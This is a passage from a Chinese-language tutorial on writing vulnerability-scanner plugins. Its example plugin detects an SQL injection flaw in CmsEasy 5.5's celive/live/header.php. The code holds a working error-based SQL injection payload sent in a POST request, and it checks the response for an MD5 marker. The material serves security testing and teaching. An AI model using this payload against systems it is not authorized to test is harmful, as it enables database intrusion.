编写插件


1. 编写

开发者在本地编写插件代码,以下为 CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞 的扫描插件。

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # __author__ = 'Medici.Yan'
  4. # 引入需要用到的标准库
  5. import urllib
  6. # assign 验证任务的指纹
  7. def assign(service, arg):
  8. if service == fingerprint.cmseasy: # 指纹为 cmseasy
  9. return True, arg # 返回类型为 tuple
  10. # audit 审计函数,通过指纹验证后调用该函数
  11. def audit(arg):
  12. # 此插件中 arg 为提交的网址
  13. # 构造要提交数据的目标 URL
  14. target = arg + '/celive/live/header.php'
  15. # 此漏洞要发送的 POST 数据(Payload)
  16. post_data = {
  17. 'xajax': 'LiveMessage',
  18. 'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
  19. "floor(rand(0)*2),(select md5(233)))a from "
  20. "information_schema.tables group by a)b),"
  21. "'','','','1','127.0.0.1','2') #"
  22. }
  23. # 通过 hackhttp 发送 Payload 到目标
  24. code, head, body, redirect_url, log = hackhttp.http(
  25. target, post=urllib.urlencode(post_data))
  26. # 验证是否存在漏洞
  27. if 'e165421110ba03099a1c0393373c5b43' in body:
  28. # 存在漏洞则输出目标 URL
  29. security_hole(target, log=log)
  30. # 本地测试时需要加 main 用于调用
  31. if __name__ == '__main__':
  32. # 导入 sdk
  33. from dummy import *
  34. # 调用 audit 与 assign
  35. audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1])

读者暂时无需关注插件编写具体内容,我们会在后面的章节中详细讲解如何编写。

2. 测试

将编写好的插件保存,例如文件名叫 demo.py, 直接在终端下运行该文件。如果存在漏洞,则会终端上会有 [LOG] 信息输出。